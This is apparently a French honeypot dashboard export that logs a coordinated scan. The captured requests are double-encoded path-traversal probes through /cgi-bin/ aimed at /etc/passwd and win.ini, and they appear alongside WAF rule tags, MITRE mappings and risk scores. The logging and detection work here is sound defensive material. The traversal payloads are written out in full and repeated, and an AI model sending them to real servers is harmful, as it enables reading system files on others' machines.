"path": "\/cgi-bin\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/Windows\/win.ini",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950260:lfi-0",
"950264:lfi-1",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"lfi-0",
"lfi-1",
"rce-0",
"nosqli-3"
],
"request_line": "GET \/cgi-bin\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/Windows\/win.ini HTTP\/1.1",
"request_sample": "GET \/cgi-bin\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/Windows\/win.ini HTTP\/1.1\r\nHost: 62.3.50.33:81\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36",
"payload_snippet": "GET \/cgi-bin\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/Windows\/wi",
"classification_reason": "Sonde fichier sensible: traversal ..\/ \u00b7 R\u00e8gle WAF \u00ab lfi-0 \u00bb \u00b7 Traversal \/ LFI dans le chemin \u00b7 confiance 100%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre_techniques": [
"T1083"
],
"mitre": "T1083",
"threat_family": [
"path_traversal"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "7a424f9bd8514955eba412eca6c76a9f6a84a9bf",
"protocol_details": {
"http_method": "GET",
"http_path": "\/cgi-bin\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/Windows\/win.ini",
"request_line": "GET \/cgi-bin\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/Windows\/win.ini HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 81,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/cgi-bin\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/Windows\/wi",
"attack_vector": "lfi path traversal \u00b7 via HTTP:81 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/cgi-bin\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%\u2026",
"target_port_label": "81 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 Motif catalogue confirm\u00e9 \u00b7 5 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Sonde fichier sensible: traversal ..\/ \u00b7 R\u00e8gle WAF \u00ab lfi-0 \u00bb \u00b7 Traversal \/ LFI dans le chemin \u00b7 confiance 100%",
"classification_reason_label_fr": "Sonde fichier sensible: traversal ..\/ \u00b7 R\u00e8gle WAF \u00ab lfi-0 \u00bb \u00b7 Traversal \/ LFI dans le chemin \u00b7 confiance 100%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 70\/100 (\u00c9lev\u00e9) \u2014 MITRE T1083 \u2014 confiance 100 % \u2014 via HTTP \u2014 campagne \/24 (34.19.127.0\/24)",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 70,
"correlation_boost": 10
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "reconnaissance",
"attack_chain_stage_label_fr": "Reconnaissance",
"risk_score": 70,
"risk_label": "\u00c9lev\u00e9",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 81,
"protocol_emulated": true,
"tags_summary": [
"INT-http_lfi",
"pat-0715",
"CRS-930100-sub",
"INT-upstream"
],
"tags_summary_labels_fr": [
"Http Lfi",
"pat-0715",
"CRS-930100-sub",
"Upstream"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "T1083",
"mitre_technique": "T1083",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": [
"scan_coordonn\u00e9"
],
"correlation_flags_labels_fr": [
"Scan coordonn\u00e9"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +10",
"protocol_details": {
"http_method": "GET",
"http_path": "\/cgi-bin\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/Windows\/win.ini",
"request_line": "GET \/cgi-bin\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/Windows\/win.ini HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 81,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "lfi path traversal \u00b7 via HTTP:81 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/cgi-bin\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%\u2026",
"evidence_snippet": "GET \/cgi-bin\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/Windows\/wi",
"target_port_label": "81 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 Motif catalogue confirm\u00e9 \u00b7 5 tag(s) WAF",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 100 \u00b7 Bonus corr\u00e9lation +10 \u00b7 5 tag(s) WAF",
"campaign_hint_fr": "Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.127.0\/24, \u22653 pairs)",
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "reconnaissance",
"label_fr": "Reconnaissance",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"meta_truncated": true,
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "81"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"coordinated_scan": true,
"coordinated_subnet": "34.19.127.0\/24",
"coordinated_ip_count": 18,
"behavior_alerts": [
"coordinated_scan"
],
"correlation_confidence_boost": 10,
"attack_chain_stage": "reconnaissance",
"ban_policy": "advisory_investigate",
"tags_list": [
"950260:lfi-0",
"950264:lfi-1",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3",
"http_path_traversal",
"http_probe_cgi_bin",
"http_sensitive_path",
"iot_http_endpoint",
"net_web_probe"
],
"asn_dc_heuristic": true
}
31/07/2026 15:07:58 UTC
TCP
81 · HTTP
Traversal LFI
lfi path traversal · via HTTP:81 · (tentative d'exploit) · → /cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%…
Élevée
Élevé · 70
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Reconnaissance
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Scan coordonné
MITRE
T1083
TA0001
TA0002
Protocole
GET /cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/… UA Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537…
Émulateur
HTTP
WAF
35
Recommandation
Investiguer
Tags
950260:lfi-0
950264:lfi-1
950326:rce-0
950468:nosqli-3
Cible HTTP
GET
/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
81
Chemin / cible
/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd
Pourquoi cette classification : Sonde fichier sensible: traversal ../ · Règle WAF « lfi-0 » · Traversal / LFI dans le chemin · confiance 100%
Confiance classification
100%
Corrélation +10
Risque capteur
Élevé
· 70
Confiance : Confiance 100 % — Motif catalogue confirmé · 5 tag(s) WAF
Protocole émulé
1 Signaux
MITRE-T1083
Http Lfi
pat-0716
pat-0137
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
CRS 930160 etc passwd
LFI path /etc/passwd
Ligne de requête
GET /cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd HTTP/1.1
User-Agent
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Règles WAF
lfi-0
lfi-1
rce-0
nosqli-3
Payload (extrait)
GET /cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd
Requête brute (extrait)
GET /cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd HTTP/1.1 Host: 62.3.50.33:81 Accept: */* User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHT
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 82,
"http_header_count": 3,
"http_query_params": 0,
"http_path_depth": 10,
"http_path_ext": null,
"http_ua_hash": "9468a4a53a2f2fd9ea96db22dc9dd9bb6ce38b7c",
"http_host_hash": "f257870e26046e30cbd03e9d5726ca53aa58b86f",
"http_target_hash": "47675bd2bfeb14823e0d442f0375d8c7248caf88",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 306,
"payload_entropy": 5.047331543731681,
"port_category": "well_known",
"org": "Google LLC",
"service": "http",
"app_proto": "http",
"asn": 396982,
"country": "US",
"dst_port": 81,
"risk_waf": 100,
"risk_classification": 78,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 0,
"risk_granularity": 6,
"risk_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25
},
"risk_score": 70,
"tag_count": 10,
"anomaly_count": 0,
"campaign_key": "2830b59d8000e171e7f631cab5014a5cf5447268",
"event_fingerprint": "234657f10bb31c9bfc885200894a79e5243f898a",
"classification_reason": "Sonde fichier sensible: traversal ..\/ \u00b7 R\u00e8gle WAF \u00ab lfi-0 \u00bb \u00b7 Traversal \/ LFI dans le chemin \u00b7 confiance 100%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 457,
"precision_signals": [
"MITRE-T1083",
"INT-http_lfi",
"pat-0716",
"pat-0137",
"CRS-930100-sub",
"INT-upstream"
],
"kb_rule_ids": [
"MITRE-T1083",
"INT-http_lfi",
"pat-0716",
"pat-0137",
"CRS-930100-sub",
"INT-upstream",
"INT-waf-score"
],
"matched_patterns": [
"pat-0716",
"pat-0137"
],
"matched_pattern_names": [
"CRS 930160 etc passwd",
"LFI path \/etc\/passwd"
],
"pattern_ids": [
"pat-0716",
"pat-0137"
],
"confidence_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 70,
"correlation_boost": 10
},
"named_classification_skipped": false,
"classification_parent": "path_traversal",
"service_name": "http",
"risk_confidence_factor": 100,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 396982,
"org": "Google LLC",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "2994862c1f8176879ed381354c9dd245",
"payload_hash": "a4be01175d3680bdc941e1cf42163c9b",
"path_pattern_hash": "82b384efd9ccbe154a2872539486157a"
},
"target_context": {
"dst_port": 81,
"service": "http",
"service_name": "http",
"risk_score": 70
},
"method": "GET",
"path": "\/cgi-bin\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/etc\/passwd",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950260:lfi-0",
"950264:lfi-1",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"lfi-0",
"lfi-1",
"rce-0",
"nosqli-3"
],
"request_line": "GET \/cgi-bin\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/etc\/passwd HTTP\/1.1",
"payload_snippet": "GET \/cgi-bin\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/etc\/passwd",
"evidence": {
"method": "GET",
"path": "\/cgi-bin\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/etc\/passwd",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950260:lfi-0",
"950264:lfi-1",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"lfi-0",
"lfi-1",
"rce-0",
"nosqli-3"
],
"request_line": "GET \/cgi-bin\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/etc\/passwd HTTP\/1.1",
"request_sample": "GET \/cgi-bin\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/etc\/passwd HTTP\/1.1\r\nHost: 62.3.50.33:81\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHT",
"payload_snippet": "GET \/cgi-bin\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/etc\/passwd",
"classification_reason": "Sonde fichier sensible: traversal ..\/ \u00b7 R\u00e8gle WAF \u00ab lfi-0 \u00bb \u00b7 Traversal \/ LFI dans le chemin \u00b7 confiance 100%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre_techniques": [
"T1083"
],
"mitre": "T1083",
"threat_family": [
"path_traversal"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "f81af729a7452312b09ae18b0f8779fe650f5640",
"protocol_details": {
"http_method": "GET",
"http_path": "\/cgi-bin\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/etc\/passwd",
"request_line": "GET \/cgi-bin\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/etc\/passwd HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 81,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/cgi-bin\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/etc\/passwd",
"attack_vector": "lfi path traversal \u00b7 via HTTP:81 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/cgi-bin\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%\u2026",
"target_port_label": "81 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 Motif catalogue confirm\u00e9 \u00b7 5 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Sonde fichier sensible: traversal ..\/ \u00b7 R\u00e8gle WAF \u00ab lfi-0 \u00bb \u00b7 Traversal \/ LFI dans le chemin \u00b7 confiance 100%",
"classification_reason_label_fr": "Sonde fichier sensible: traversal ..\/ \u00b7 R\u00e8gle WAF \u00ab lfi-0 \u00bb \u00b7 Traversal \/ LFI dans le chemin \u00b7 confiance 100%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 70\/100 (\u00c9lev\u00e9) \u2014 MITRE T1083 \u2014 confiance 100 % \u2014 via HTTP \u2014 campagne \/24 (34.19.127.0\/24)",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 70,
"correlation_boost": 10
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "reconnaissance",
"attack_chain_stage_label_fr": "Reconnaissance",
"risk_score": 70,
"risk_label": "\u00c9lev\u00e9",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 81,
"protocol_emulated": true,
"tags_summary": [
"MITRE-T1083",
"INT-http_lfi",
"pat-0716",
"pat-0137"
],
"tags_summary_labels_fr": [
"MITRE-T1083",
"Http Lfi",
"pat-0716",
"pat-0137"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "T1083",
"mitre_technique": "T1083",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": [
"scan_coordonn\u00e9"
],
"correlation_flags_labels_fr": [
"Scan coordonn\u00e9"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +10",
"protocol_details": {
"http_method": "GET",
"http_path": "\/cgi-bin\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/etc\/passwd",
"request_line": "GET \/cgi-bin\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/etc\/passwd HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 81,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "lfi path traversal \u00b7 via HTTP:81 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/cgi-bin\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%\u2026",
"evidence_snippet": "GET \/cgi-bin\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/etc\/passwd",
"target_port_label": "81 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 Motif catalogue confirm\u00e9 \u00b7 5 tag(s) WAF",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 100 \u00b7 Bonus corr\u00e9lation +10 \u00b7 5 tag(s) WAF",
"campaign_hint_fr": "Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.127.0\/24, \u22653 pairs)",
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "reconnaissance",
"label_fr": "Reconnaissance",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"meta_truncated": true,
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "81"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"coordinated_scan": true,
"coordinated_subnet": "34.19.127.0\/24",
"coordinated_ip_count": 18,
"behavior_alerts": [
"coordinated_scan"
],
"correlation_confidence_boost": 10,
"attack_chain_stage": "reconnaissance",
"ban_policy": "advisory_investigate",
"tags_list": [
"950260:lfi-0",
"950264:lfi-1",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3",
"http_path_traversal",
"http_probe_cgi_bin",
"http_sensitive_path",
"iot_http_endpoint",
"net_web_probe"
],
"asn_dc_heuristic": true
}